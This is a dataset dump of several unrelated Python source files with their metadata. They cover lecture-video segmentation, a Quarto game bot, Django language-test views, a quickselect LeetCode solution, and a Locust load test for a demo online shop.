videoclips.colormask(subclip, self.obj.tlx, self.obj.tly, self.obj.brx, self.obj.bry)\n clipsrc = videodir + \"/\" + filename + \".mp4\"\n subclip.write_videofile(clipsrc, codec='libx264', audio_codec='aac', temp_audiofile='temp-audio.m4a', remove_temp=True) # Many options...\n \n# print 'tlx, tly, brx, bry', self.linegroup.obj.tlx, self.linegroup.obj.tly, self.linegroup.obj.brx, self.linegroup.obj.bry\n subclip_crop = vfx.crop(subclip, self.linegroup.obj.tlx, self.linegroup.obj.tly, self.linegroup.obj.brx, self.linegroup.obj.bry)\n cropsrc = videodir + \"/\" + filename +\"_crop.mp4\"\n subclip_crop.write_videofile(cropsrc, codec='libx264', audio_codec='aac', temp_audiofile='temp-audio.m4a', remove_temp=True) # Many options...\n \n\nclass LineGroup:\n def __init__(self, list_of_sublines, line_id, linedir):\n self.list_of_sublines = list_of_sublines\n self.line_id = line_id\n self.linedir = linedir\n list_of_objs = []\n for i in range(0, len(list_of_sublines)):\n subline = list_of_sublines[i]\n subline.link_linegroup(self)\n for stroke in subline.list_of_strokes:\n list_of_objs.append(stroke.obj)\n self.obj = VisualObject.group(list_of_objs, self.linedir, imgname=\"line%06i.png\" % (line_id))\n \n def obj_upto_subline(self, subline_id):\n list_of_objs = []\n for i in range(0, subline_id):\n grayobj = self.list_of_sublines[i].obj.copy()\n grayobj.img = util.fg2gray(grayobj.img, 175)\n list_of_objs.append(grayobj)\n list_of_objs.append(self.list_of_sublines[subline_id].obj)\n return list_of_objs\n \n def obj_highlight_subline(self, subline_id): \n list_of_objs = []\n for i in range(0, len(self.list_of_sublines)):\n obj = self.list_of_sublines[i].obj.copy()\n if i < subline_id:\n obj.img = util.fg2gray(obj.img, 175)\n elif i > subline_id:\n obj.img = np.ones(obj.img.shape)*255\n list_of_objs.append(obj)\n return list_of_objs\n \ndef link_char_strokes(list_of_chars, list_of_strokes):\n for char in list_of_chars:\n charname = os.path.basename(char.obj.imgpath)\n charname = os.path.splitext(charname)[0]\n for stroke in list_of_strokes:\n strokename = os.path.basename(stroke.obj.imgpath)\n strokename = os.path.splitext(strokename)[0]\n if strokename in charname:\n stroke.list_of_chars.append(char)\n char.stroke = stroke\n break\n \ndef get_strokes(video, objdir):\n list_of_strokeobjs = VisualObject.objs_from_file(video, objdir)\n list_of_strokes = []\n for obj in list_of_strokeobjs:\n list_of_strokes.append(Stroke(obj, video))\n return list_of_strokes\n\ndef get_chars(video, xcutdir):\n list_of_charobjs = VisualObject.objs_from_file(video, xcutdir)\n list_of_chars = []\n for charobj in list_of_charobjs:\n list_of_chars.append(Character(charobj))\n return list_of_chars\n\ndef get_sublines(list_of_strokes, linetxt, list_of_sentences, sublinedir, stcstrokesdir):\n line_ids = util.stringlist_from_txt(linetxt)\n line_ids = util.strings2ints(line_ids)\n n_lines = len(np.unique(np.array(line_ids)))\n line_ids.append(-1)\n \n list_of_sublines = []\n sub_ids = [0 for x in range(0, n_lines)]\n start_i = 0\n for i in range(0, len(list_of_strokes)):\n cur_lineid = line_ids[i]\n next_id = line_ids[i + 1]\n if (cur_lineid != next_id):\n sub_lineid = sub_ids[cur_lineid]\n subline = SubLine(list_of_strokes[start_i:i + 1], cur_lineid, sub_lineid, sublinedir)\n sub_ids[cur_lineid] += 1\n list_of_sublines.append(subline)\n start_i = i + 1\n \n link_stc_to_sublines(list_of_sentences, list_of_sublines) \n link_stc_to_subline_videos(list_of_sentences, list_of_sublines)\n for subline in list_of_sublines:\n subline.link_stcstrokes(stcstrokesdir)\n \n return list_of_sublines\n\ndef link_stc_to_sublines(list_of_sentences, list_of_sublines):\n \"\"\"sentence is associated with a subline, or none\n IF more than 75% of sentence overlaps with drawing time, it is linked with subline\"\"\"\n for subline in list_of_sublines:\n del subline.list_of_sentences[:]\n \n n_sublines = len(list_of_sublines)\n closest_subline_ids = []\n for stc in list_of_sentences:\n stc_length_fid = stc.video.ms2fid(stc.endt) - stc.video.ms2fid(stc.startt)\n closest_subline = None\n closest_id = -1\n min_dist = float(\"inf\")\n for i in range(0, n_sublines):\n subline = list_of_sublines[i]\n dist = VisualObject.obj_stc_distance(subline.obj, stc.list_of_words, stc.video)\n if (dist < 0 and dist < min_dist):\n min_dist = dist\n closest_subline = list_of_sublines[i]\n closest_id = i\n closest_subline_ids.append(closest_id)\n if (closest_subline is not None and abs(min_dist) >= 0.75*stc_length_fid):\n closest_subline.list_of_sentences.append(stc) \n stc.subline = closest_subline\n stc.subline_index = closest_id\n \n return closest_subline_ids\n\ndef link_stc_to_subline_videos(list_of_sentences, list_of_sublines):\n \"\"\"A sentence is associated with a single subline video. \n All sentences that end after current video start and end before next video starts\"\"\"\n \n \"\"\"Clear\"\"\"\n for subline in list_of_sublines:\n del subline.list_of_video_sentences[:]\n \n n_sublines = len(list_of_sublines)\n \n \n closest_subline_ids = []\n for stc in list_of_sentences:\n closest_subline = None\n closest_id = -1\n min_dist = float(\"inf\")\n for i in range(0, n_sublines):\n subline = list_of_sublines[i]\n dist = VisualObject.obj_stc_distance(subline.obj, stc.list_of_words, stc.video)\n if (dist < min_dist):\n min_dist = dist\n closest_subline = list_of_sublines[i]\n closest_id = i\n closest_subline_ids.append(closest_id)\n stc.subline_video = closest_subline\n closest_subline.list_of_video_sentences.append(stc) \n return closest_subline_ids \n\n\ndef get_linegroups(list_of_sublines, linetxt, linedir):\n line_ids = util.stringlist_from_txt(linetxt)\n line_ids = util.strings2ints(line_ids)\n numlines = len(np.unique(np.array(line_ids)))\n list_of_linegroups = []\n for i in range(0, numlines):\n sublines_i = []\n for subline in list_of_sublines:\n if subline.line_id == i:\n sublines_i.append(subline)\n line_i = LineGroup(sublines_i, i, linedir)\n list_of_linegroups.append(line_i)\n return list_of_linegroups\n\ndef draw(panorama, list_of_linegroups):\n panorama_copy = panorama.copy()\n for linegroup in list_of_linegroups:\n obj = linegroup.obj\n cv2.rectangle(panorama_copy, (obj.tlx, obj.tly), (obj.brx, obj.bry), (0, 0, 255), 1)\n for subline in linegroup.list_of_sublines:\n obj = subline.obj\n cv2.rectangle(panorama_copy, (obj.tlx, obj.tly), (obj.brx, obj.bry), (255, 0, 255), 1)\n for stcstroke in subline.list_of_stcstrokes:\n obj = stcstroke.obj\n cv2.rectangle(panorama_copy, (obj.tlx, obj.tly), (obj.brx, obj.bry), (255, 0, 0), 1)\n for stroke in stcstroke.list_of_strokes:\n obj = stroke.obj\n cv2.rectangle(panorama_copy, (obj.tlx, obj.tly), (obj.brx, obj.bry), (255, 255, 0), 1)\n for char in stroke.list_of_chars:\n obj = char.obj\n cv2.rectangle(panorama_copy, (obj.tlx, obj.tly), (obj.brx, obj.bry), (0, 0, 0), 1)\n return panorama_copy\n\n\ndef getvisuals(videopath, panoramapath, objdir, scriptpath):\n video = Video(videopath)\n panorama = cv2.imread(panoramapath)\n \"\"\"strokes\"\"\"\n list_of_strokes = get_strokes(video, objdir)\n \n \"\"\"xcut characters\"\"\"\n xcutdir = objdir + \"/xcut\"\n list_of_chars = get_chars(video, xcutdir)\n link_char_strokes(list_of_chars, list_of_strokes)\n \n \"\"\"sublines\"\"\"\n sublinedir = objdir + \"/sublines_15_03_18\"\n stcstrokesdir = objdir + \"/stcstrokes_15_03_18\"\n linetxt = objdir + \"/linebreak_wo_area_compact_adjust_xgap_ids.txt\"\n list_of_words = pjson.get_words(scriptpath)\n list_of_stcs = pjson.get_sentences(list_of_words)\n list_of_sentences = []\n stcid = 0\n for stc in list_of_stcs:\n list_of_sentences.append(Sentence(stc, video, stcid))\n stcid += 1\n \n list_of_sublines = get_sublines(list_of_strokes, linetxt, list_of_sentences, sublinedir, stcstrokesdir)\n \n \"\"\"lines\"\"\"\n linedir = objdir + \"/linegroups\"\n list_of_linegroups = get_linegroups(list_of_sublines, linetxt, linedir)\n \n list_of_stcstrokes = []\n for subline in list_of_sublines:\n list_of_stcstrokes = list_of_stcstrokes + subline.list_of_stcstrokes\n \n \"\"\"break sublines\"\"\"\n for subline in list_of_sublines:\n break_subline(subline, list_of_sentences)\n \n \n \n return [panorama, list_of_linegroups, list_of_sublines, list_of_stcstrokes, list_of_strokes, list_of_chars, list_of_sentences]\n\n \n \ndef panorama_lines(panorama, list_of_linegroups):\n panorama_copy = panorama.copy()\n for linegroup in list_of_linegroups:\n obj = linegroup.obj\n cv2.rectangle(panorama_copy, (obj.tlx, obj.tly), (obj.brx, obj.bry), (0, 0, 0), 2)\n return panorama_copy\n\ndef break_subline(subline, list_of_sentences):\n sb = SublineBreaker(subline, list_of_sentences)\n subline.list_of_subsublines = sb.breaklines() \n \n \nif __name__ == \"__main__\":\n videopath = sys.argv[1]\n panoramapath = sys.argv[2]\n objdir = sys.argv[3]\n scriptpath = sys.argv[4]\n \n video = Video(videopath)\n \n \"\"\"strokes\"\"\"\n list_of_strokes = get_strokes(video, objdir)\n \n \"\"\"xcut characters\"\"\"\n xcutdir = objdir + \"/xcut\"\n list_of_chars = get_chars(video, xcutdir)\n link_char_strokes(list_of_chars, list_of_strokes)\n \n \"\"\"sublines\"\"\"\n linetxt = objdir + \"/line_ids.txt\"\n list_of_words = pjson.get_words(scriptpath)\n list_of_stcs = pjson.get_sentences(list_of_words)\n list_of_sentences = []\n stcid = 0\n for stc in list_of_stcs:\n list_of_sentences.append(Sentence(stc, video, stcid))\n stcid += 1\n \n sublinedir = objdir + \"/sublines\"\n stcstrokesdir = objdir + \"/stcstrokes\"\n if not os.path.exists(os.path.abspath(sublinedir)):\n os.makedirs(os.path.abspath(sublinedir))\n if not os.path.exists(os.path.abspath(stcstrokesdir)):\n os.makedirs(os.path.abspath(stcstrokesdir))\n\n list_of_sublines = get_sublines(list_of_strokes, linetxt, list_of_sentences, sublinedir, stcstrokesdir)\n VisualObject.write_to_file(sublinedir + \"/obj_info.txt\", [subline.obj for subline in list_of_sublines])\n\n list_of_stcstrokes = []\n for subline in list_of_sublines:\n list_of_stcstrokes = list_of_stcstrokes + subline.list_of_stcstrokes\n VisualObject.write_to_file(stcstrokesdir + \"/obj_info.txt\", [stcstroke.obj for stcstroke in list_of_stcstrokes])\n\n\n\n \"\"\"lines and sublines_inline\"\"\"\n linedir = objdir + \"/linegroups\"\n if not os.path.exists(os.path.abspath(linedir)):\n os.makedirs(os.path.abspath(linedir))\n\n list_of_linegroups = get_linegroups(list_of_sublines, linetxt, linedir)\n \n \"\"\"break sublines\"\"\"\n for subline in list_of_sublines:\n break_subline(subline, list_of_sentences)\n \n \n VisualObject.write_to_file(linedir + \"/obj_info.txt\", [line.obj for line in list_of_linegroups])\n VisualObject.write_to_file(sublinedir + \"/inline_obj_info.txt\", [subline.obj_in_line for subline in list_of_sublines])\n \n \n\n \n \n \n \n \n \n \n \n \n","sub_path":"Scripts/lecturevisual.py","file_name":"lecturevisual.py","file_ext":"py","file_size_in_byte":19865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"607876743","text":"import random\nimport math\n\nclass Player():\n def __repr__(self):\n return 'Novice player'\n \n def get_id(self):\n return 'Mikkel novice'\n\n def __init__(self, **kwargs):\n pass\n\n def perform_action(self, board, piece, available_pieces):\n # If game_piece is -1, we have to give away the first piece\n if piece == -1:\n #return (random.choice(available_pieces), None)\n return (random.choice(available_pieces),None)\n else:\n action = self.find_winning_state(board, piece)\n # We can win the game with this move if action != None\n # else we have to find a piece that opponents can't win with\n if action != None:\n return (random.choice(available_pieces), action)\n else:\n action = self.find_viable_moves(board[:], piece,\n available_pieces[:])\n if action != None:\n return action\n else:\n # If there are no winning moves and no moves that don't\n # lose next round automatically, we chose a random move\n return self.find_any_action(board, available_pieces)\n\n # find_action returns all actions that are not an auto loss this round\n def find_winning_state(self, board, piece):\n indexes = [i for (i,x) in enumerate(board) if x == None]\n actions = []\n move = None\n for index in indexes:\n board[index] = piece\n if self.is_terminal(board):\n return index\n board[index] = None\n return None\n\n def find_any_action(self, board, available_pieces):\n piece = random.choice(available_pieces)\n index = board.index(None)\n return (piece, index)\n \n def bad_move(self, board, piece):\n for (index,value) in enumerate(board):\n if value == None:\n board[index] = piece\n if self.is_terminal(board):\n return True\n board[index] = None\n return False\n\n # Generates all board positions + piece pairs that are available from\n # this state and does not result in an auto-loss\n def find_viable_moves(self,board, piece, available_pieces):\n res = []\n for (index, value) in enumerate(board):\n if value == None:\n new_board = board[:]\n new_board[index] = piece\n for new_piece in available_pieces:\n if not self.bad_move(new_board, new_piece):\n res.append((new_piece, index))\n if any(res):\n return random.choice(res)\n else:\n return None\n \n def is_terminal(self, board):\n # Checking all i rows and columns for 4 in a row\n for i in range(4):\n if self.check(self.row_gen(i, board)):\n return True\n for i in range(4):\n if self.check(self.column_gen(i, board)):\n return True\n \n # Checking both diagonals\n if self.check(self.main_diagonal_gen(board)):\n return True\n if self.check(self.anti_diagonal_gen(board)):\n return True\n return False\n\n # Check takes a function that returns 4 pieces and checks if those\n # pieces make four in a row.\n def check(self, generator):\n # 15 is all 1 in binary\n all_ones = 15\n # 0 is all 0 in binary\n all_zeros = 0\n for elmt in generator:\n if elmt != None:\n all_ones = all_ones & elmt\n all_zeros = all_zeros | elmt\n else:\n return False\n # Check if we have for 4 attributes in the row\n if all_zeros ^ 15 or all_ones | 0:\n return True\n else:\n return False\n\n # Yields every element across the main diagonal, in bit representation\n def main_diagonal_gen(self, board):\n for i in range(4):\n elmt = board[(4*i)+i]\n yield elmt\n \n # Yields every element from the anti diagonal, in bit representation\n def anti_diagonal_gen(self, board):\n for i in range(4):\n elmt = board[(4*i)+(3-i)]\n yield elmt\n\n # Yields every element from row i from the board, in bit representation\n def row_gen(self, row, board):\n for i in range(4):\n elmt = board[(4*row)+i] \n yield elmt\n\n # Yields every element from column i from the board, in bit representation\n def column_gen(self, column, board):\n for i in range(4):\n elmt = board[(4*i)+column]\n yield elmt\n \n def all_perms(self, elements):\n if len(elements) <=1:\n yield elements\n else:\n for perm in self.all_perms(elements[1:]):\n for i in range(len(elements)):\n yield perm[:i] + elements[0:1]+ perm[i:]\n","sub_path":"novice_bot.py","file_name":"novice_bot.py","file_ext":"py","file_size_in_byte":5073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"586380086","text":"from django.shortcuts import render\nfrom django.views import generic\nfrom django.shortcuts import get_object_or_404\nfrom languageTests.forms import TakeATestDummy\nfrom .validators import validate_excersise_answers\n\n\nfrom django import forms\nfrom .forms import TakeATestDummy\nimport json\n\nfrom types import MethodType\n\n# Create your views here.\n\nfrom languageTests.models import Language, Excersise, LanguageTest\n\ndef index(request):\n \"\"\"View function for home page of site.\"\"\"\n\n # Number of visits to this view, as counted in the session variable.\n num_visits_l = request.session.get('num_visits_l', 0)\n request.session['num_visits_l'] = num_visits_l + 1\n \n # Generate counts of some of the main objects\n num_lang_tests = LanguageTest.objects.all().count()\n \n context = {\n 'num_lang_tests': num_lang_tests,\n 'num_visits': num_visits_l,\n }\n\n # Render the HTML template index.html with the data in the context variable\n return render(request, 'index2.html', context=context)\n\nclass LanguageTestListView(generic.ListView):\n model = LanguageTest\n context_object_name = \"language_test_list\"\n template_name = \"languageTests_list.html\"\n \n \nclass LanguageTestDetailView(generic.DetailView):\n model = LanguageTest \n \n \ndef pass_a_test(request, pk):\n language_test = get_object_or_404(LanguageTest, pk=pk)\n content={}\n if request.method == 'POST':\n if \"ans0\" in request.POST:\n for key in request.POST.keys():\n if key != 'csrfmiddlewaretoken':\n content[key] = request.POST[key]\n #language_test.answers = json.dumps(content)\n #language_test.save()\n # Create a form instance and populate it with data from the request (binding):\n #form = TakeATest(request.POST)\n \n # Check if the form is valid:\n #if form.is_valid():\n # process the data in form.cleaned_data as required (here we just write it to the model due_back field)\n #book_instance.due_back = form.cleaned_data['renewal_date']\n #book_instance.s ave()\n #pass\n # redirect to a new URL:\n #return HttpResponseRedirect(('all-borrowed'))\n\n # If this is a GET (or any other method) create the default form.\n else:\n pass\n #proposed_renewal_date = \"a\"\n #form = TakeATest(initial={'language_test': \"a\"})\n \n new_fields={}\n tests_dict={}\n counter=0 \n for excersise in language_test.excersise_set.all():\n tests_dict[excersise.id]=[]\n for answer in excersise.answer_set.all():\n ANSWER_CHOICES=[]\n ANSWER_CHOICES.append((\"\",\"\"))\n tests_dict[excersise.id].append(answer)\n\n for possible_answer in answer.possible_answers.split('/'): \n ANSWER_CHOICES.append((possible_answer,possible_answer))\n ANSWER_CHOICES=tuple(ANSWER_CHOICES)\n\n new_field_name=\"ans\" + str(counter)\n #new_fields[new_field_name]=forms.ChoiceField(choices = ANSWER_CHOICES, required=True, help_text=\"Hello\")\n new_fields[new_field_name]=forms.ChoiceField(choices = ANSWER_CHOICES, required=False, help_text=\"Hello\", validators=[validate_excersise_answers(answer=answer)])\n \n tests_dict[excersise.id].append(new_field_name)\n counter=counter+1\n\n\n #def clean(self):\n # cleaned_data = super(TakeATest, self).clean()\n # print(\"cleaned data =<{}>\".format(cleaned_data))\n # for answer_field in cleaned_data:\n # print(answer_field)\n # value=cleaned_data.get(answer_field)\n # print(\"value={}\".format(value))\n\n TakeATest=type('TakeATest',(TakeATestDummy,),new_fields)\n \n #content={'id_1':'yes','id_2':'no'}\n #print(\"content<\")\n #print(content)\n #print(\">content\")\n form=TakeATest(content)\n #form.clean=MethodType(clean,form)\n form.set_tests_dict(tests_dict)\n \n if request.method == 'POST':\n if form.is_valid():\n print(\"form is valid !!!\")\n pass\n context = {\n 'form': form,\n 'language_test': language_test,\n }\n return render(request, 'languageTests/success.html', context)\n context = {\n 'form': form,\n 'language_test': language_test,\n }\n\n return render(request, 'languageTests/take_a_test.html', context)\n \n \n \n \n ","sub_path":"EnForFun/EnForFun.2019.07.27/languageTests/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"61859975","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n215. 数组中的第K个最大元素\n在未排序的数组中找到第 k 个最大的元素。请注意,你需要找的是数组排序后的第 k 个最大的元素,而不是第 k 个不同的元素。\n\n示例 1:\n\n输入: [3,2,1,5,6,4] 和 k = 2\n输出: 5\n\n链接:https://leetcode-cn.com/problems/kth-largest-element-in-an-array/\n\"\"\"\nfrom typing import List\n\n\nclass Solution:\n def findKthLargest(self, nums: List[int], k: int) -> int:\n \"\"\"\n 思路: 快排\n \"\"\"\n k = len(nums) - k\n left, right = 0, len(nums) - 1\n while True:\n pivot = self.partition(nums, left, right)\n print(pivot, nums)\n\n if pivot == k:\n return nums[pivot]\n\n elif pivot > k:\n right = pivot - 1\n\n else:\n left = pivot + 1\n\n def partition(self, nums, beg, end):\n\n pivot_index = beg\n pivot = nums[beg]\n\n left, right = pivot_index + 1, end\n\n while True:\n\n while left <= right and nums[left] < pivot:\n left += 1\n\n while left <= right and nums[right] >= pivot:\n right -= 1\n\n if left > right:\n break\n else:\n nums[left], nums[right] = nums[right], nums[left]\n\n nums[pivot_index], nums[right] = nums[right], nums[pivot_index]\n\n return right\n\n\nif __name__ == '__main__':\n nums, k = [3, 2, 1, 5, 6, 4], 2\n rst = Solution().findKthLargest(nums, k)\n print(\"result is\", rst)","sub_path":"Week_07/findKthLargest.py","file_name":"findKthLargest.py","file_ext":"py","file_size_in_byte":1589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"482401142","text":"from datetime import timedelta, datetime\nimport networkx as nx\nimport pandas as pd\nfrom os import path\nimport pickle\nimport os\n\nfrom beta_calculator import LinearContext\nfrom feature_calculators import FeatureMeta\nfrom features_picker import PearsonFeaturePicker\nfrom loggers import PrintLogger\nfrom norm_functions import log_norm\nfrom timed_graphs import TimedGraphs\nfrom vertices.attractor_basin import AttractorBasinCalculator\nfrom vertices.average_neighbor_degree import AverageNeighborDegreeCalculator\nfrom vertices.betweenness_centrality import BetweennessCentralityCalculator\nfrom vertices.bfs_moments import BfsMomentsCalculator\nfrom vertices.closeness_centrality import ClosenessCentralityCalculator\nfrom vertices.communicability_betweenness_centrality import CommunicabilityBetweennessCentralityCalculator\nfrom vertices.eccentricity import EccentricityCalculator\nfrom vertices.fiedler_vector import FiedlerVectorCalculator\nfrom vertices.flow import FlowCalculator\nfrom vertices.general import GeneralCalculator\nfrom vertices.hierarchy_energy import HierarchyEnergyCalculator\nfrom vertices.k_core import KCoreCalculator\nfrom vertices.load_centrality import LoadCentralityCalculator\nfrom vertices.louvain import LouvainCalculator\nfrom vertices.motifs import nth_nodes_motif\n\nANOMALY_DETECTION_FEATURES = {\n \"attractor_basin\": FeatureMeta(AttractorBasinCalculator, {\"ab\"}), # directed only\n \"average_neighbor_degree\": FeatureMeta(AverageNeighborDegreeCalculator, {\"avg_nd\"}),\n \"betweenness_centrality\": FeatureMeta(BetweennessCentralityCalculator, {\"betweenness\"}),\n \"bfs_moments\": FeatureMeta(BfsMomentsCalculator, {\"bfs\"}),\n \"closeness_centrality\": FeatureMeta(ClosenessCentralityCalculator, {\"closeness\"}),\n # \"communicability_betweenness_centrality\": FeatureMeta(CommunicabilityBetweennessCentralityCalculator,\n # {\"communicability\"}),\n \"eccentricity\": FeatureMeta(EccentricityCalculator, {\"ecc\"}),\n \"fiedler_vector\": FeatureMeta(FiedlerVectorCalculator, {\"fv\"}),\n # \"flow\": FeatureMeta(FlowCalculator, {}),\n \"general\": FeatureMeta(GeneralCalculator, {\"gen\"}),\n # Isn't OK - also in previous version\n # \"hierarchy_energy\": FeatureMeta(HierarchyEnergyCalculator, {\"hierarchy\"}),\n \"k_core\": FeatureMeta(KCoreCalculator, {\"kc\"}),\n \"load_centrality\": FeatureMeta(LoadCentralityCalculator, {\"load_c\"}),\n \"louvain\": FeatureMeta(LouvainCalculator, {\"lov\"}),\n \"motif3\": FeatureMeta(nth_nodes_motif(3), {\"m3\"}),\n # \"multi_dimensional_scaling\": FeatureMeta(MultiDimensionalScalingCalculator, {\"mds\"}),\n # \"page_rank\": FeatureMeta(PageRankCalculator, {\"pr\"}),\n \"motif4\": FeatureMeta(nth_nodes_motif(4), {\"m4\"}),\n # \"first_neighbor_histogram\": FeatureMeta(nth_neighbor_calculator(1), {\"fnh\", \"first_neighbor\"}),\n # \"second_neighbor_histogram\": FeatureMeta(nth_neighbor_calculator(2), {\"snh\", \"second_neighbor\"}),\n}\n\nSOURCE = 'SourceID'\nDEST = 'DestinationID'\nDURATION = 'Duration'\nTIME = 'StartTime'\nCOMMUNITY = 'Community'\nTARGET = 'target'\n\nALL_BETA_PATH = \"all_times_beta.pkl\"\n\n\nclass RefaelDataLoader:\n def __init__(self ,data_name, data_path, params, days_split=1):\n self._target_path = os.path.join(\"data_by_time\", data_name, \"split_\" + str(days_split))\n self._params = params\n self._logger = PrintLogger(self._params['logger_name'])\n self._params['files_path'] = self._target_path\n self._data_name = data_name\n self._data_path = data_path\n self._time_split=days_split\n self._partition_data()\n self._timed_graph = self._init_timed_graph()\n\n for i in range(10):\n self._forward_time()\n\n # self.calc_all_times()\n self._time_idx = 0\n\n def calc_all_times(self):\n if os.path.exists(ALL_BETA_PATH):\n self._all_times_data = pickle.load(open(ALL_BETA_PATH, \"rb\"))\n return\n self._all_times_data = []\n while self._forward_time():\n self._all_times_data.append([self._calc_curr_time()])\n pickle.dump(self._all_times_data, open(ALL_BETA_PATH, \"wb\"))\n\n def _init_timed_graph(self):\n return TimedGraphs(self._params['database'], files_path=self._params['files_path'], logger=self._logger,\n features_meta=ANOMALY_DETECTION_FEATURES, directed=self._params['directed'],\n date_format=self._params['date_format'], largest_cc=self._params['max_connected'])\n\n def _partition_data(self):\n if \"data_by_time\" not in os.listdir(\".\"):\n os.mkdir(\"data_by_time\")\n if self._data_name not in os.listdir(\"data_by_time\"):\n os.mkdir(os.path.join(\"data_by_time\", self._data_name))\n if \"split_\" + str(self._time_split) not in os.listdir(os.path.join(\"data_by_time\", self._data_name)):\n os.mkdir(os.path.join(\"data_by_time\", self._data_name, \"split_\" + str(self._time_split)))\n\n data_df = pd.read_csv(self._data_path)\n self._format_data(data_df)\n data_df = data_df.set_index(TIME).sort_index()\n\n one_day = timedelta(days=self._time_split)\n curr_day = data_df.first_valid_index()\n file_time = open(path.join(self._target_path, str(curr_day.date())), \"wt\")\n next_day = curr_day - timedelta(hours=curr_day.hour, minutes=curr_day.minute, seconds=curr_day.second) + one_day\n for curr_day, row in data_df.iterrows():\n if curr_day >= next_day:\n file_time.close()\n next_day = curr_day - timedelta(hours=curr_day.hour, minutes=curr_day.minute,\n seconds=curr_day.second) + one_day\n file_time = open(path.join(self._target_path, str(curr_day.date())), \"wt\")\n file_time.write(str(row[SOURCE]) + \" \" + str(row[DEST]) + \" \" + str(row[DURATION]) + \" \"\n + str(row[COMMUNITY]) + \" \" + str(row[TARGET]) + \"\\n\")\n\n\n @staticmethod\n def _format_data(graph_df):\n graph_df[TIME] = graph_df[TIME]/1000 # milliseconds to seconds\n graph_df[TIME] = graph_df[TIME].apply(lambda x: datetime.fromtimestamp(x)) # to datetime format\n\n def _forward_time(self):\n flag = self._timed_graph.forward_time()\n # normalize features ---------------------------------\n self._timed_graph.norm_features(log_norm)\n return flag\n\n def _calc_curr_time(self):\n pearson_picker = PearsonFeaturePicker(self._timed_graph, size=self._params['ftr_pairs'],\n logger=self._logger, identical_bar=self._params['identical_bar'])\n best_pairs = pearson_picker.best_pairs()\n beta = LinearContext(self._timed_graph, best_pairs, split=self._params['context_beta'])\n return beta.beta_matrix(), best_pairs, self._timed_graph.nodes_count_list(), \\\n self._timed_graph.edges_count_list(), self._timed_graph.get_labels()\n\n def calc_curr_time(self):\n\n return self._all_times_data[self._time_idx - 1]\n\n def forward_time(self):\n if self._time_idx == len(self._all_times_data):\n return False\n self._time_idx += 1\n return True","sub_path":"DataLoader/refael_data_loader.py","file_name":"refael_data_loader.py","file_ext":"py","file_size_in_byte":7245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"364317980","text":"#!/usr/bin/python\n#\n# Copyright 2018 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport random\nfrom locust import HttpLocust, TaskSet\n\nproducts = [\n '0PUK6V6EV0',\n '1YMWWN1N4O',\n '66VCHSJNUP',\n '6E92ZMYYFZ',\n 'L9ECAV7KIM',\n 'LS4PSXUNUM',\n 'OLJCESPC7Z',\n '3R92ZDDYKL',\n '3R92ZMYYKL'\n]\n\ncounter = 0\n\ndef index(l):\n l.client.get(\"/\")\n\n\ndef setCurrency(l):\n currencies = [\"EUR\", \"USD\", \"JPY\", \"CAD\"]\n l.client.post(\"/setCurrency\", {\"currency_code\": random.choice(currencies)})\n\n\ndef browseProduct(l):\n l.client.get(\"/product/\" + random.choice(products))\n\n\ndef viewCart(l):\n l.client.get(\"/cart\")\n\n\ndef addToCart(l):\n product = random.choice(products)\n l.client.get(\"/product/\" + product)\n l.client.post(\n \"/cart\", {\"product_id\": product, \"quantity\": random.choice([1, 2, 3, 4, 5, 10])}\n )\n\n\ndef checkout(l):\n global counter\n route = \"/cart/checkout\"\n visaCC = {\n \"email\": \"someone@example.com\",\n \"street_address\": \"1600 Amphitheatre Parkway\",\n \"zip_code\": \"94043\",\n \"city\": \"Mountain View\",\n \"state\": \"CA\",\n \"country\": \"United States\",\n \"credit_card_number\": \"4432-8015-6152-0454\",\n \"credit_card_expiration_month\": \"1\",\n \"credit_card_expiration_year\": \"2039\",\n \"credit_card_cvv\": \"672\",\n }\n mcCC = {\n \"email\": \"someone@example.com\",\n \"street_address\": \"1600 Amphitheatre Parkway\",\n \"zip_code\": \"94043\",\n \"city\": \"Mountain View\",\n \"state\": \"CA\",\n \"country\": \"United States\",\n \"credit_card_number\": \"5328897010174228\",\n \"credit_card_expiration_month\": \"1\",\n \"credit_card_expiration_year\": \"2039\",\n \"credit_card_cvv\": \"123\",\n \n }\n badCC = {\n \"email\": \"amex@example.com\",\n \"street_address\": \"1600 Amphitheatre Parkway\",\n \"zip_code\": \"94043\",\n \"city\": \"Mountain View\",\n \"state\": \"CA\",\n \"country\": \"United States\",\n \"credit_card_number\": \"347572753801901\",\n \"credit_card_expiration_month\": \"1\",\n \"credit_card_expiration_year\": \"2026\",\n \"credit_card_cvv\": \"528\",\n }\n goodCards = [visaCC, mcCC, visaCC, mcCC, visaCC, mcCC, badCC, badCC]\n goodWithBadCards = [visaCC, mcCC, badCC, badCC, badCC, badCC, badCC]\n \n addToCart(l)\n\n if (counter <= 200):\n l.client.post(route, random.choice(goodCards))\n else:\n l.client.post(route, random.choice(goodWithBadCards))\n counter += 1\n if counter >= 300:\n counter = 0\n\nclass UserBehavior(TaskSet):\n def on_start(self):\n index(self)\n\n tasks = {\n index: 5,\n browseProduct: 5,\n addToCart: 1,\n viewCart: 1,\n checkout: 2,\n }\n\n\nclass WebsiteUser(HttpLocust):\n task_set = UserBehavior\n min_wait = 1000\n max_wait = 10000\n","sub_path":"src/loadgenerator/locustfile.py","file_name":"locustfile.py","file_ext":"py","file_size_in_byte":3616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"504029181","text":"#!/usr/bin/env python\n#-*-coding=utf-8-*-\n\n\"\"\"原始数据\"\"\"\n#缩水版的courses,实际数据的格式应该为 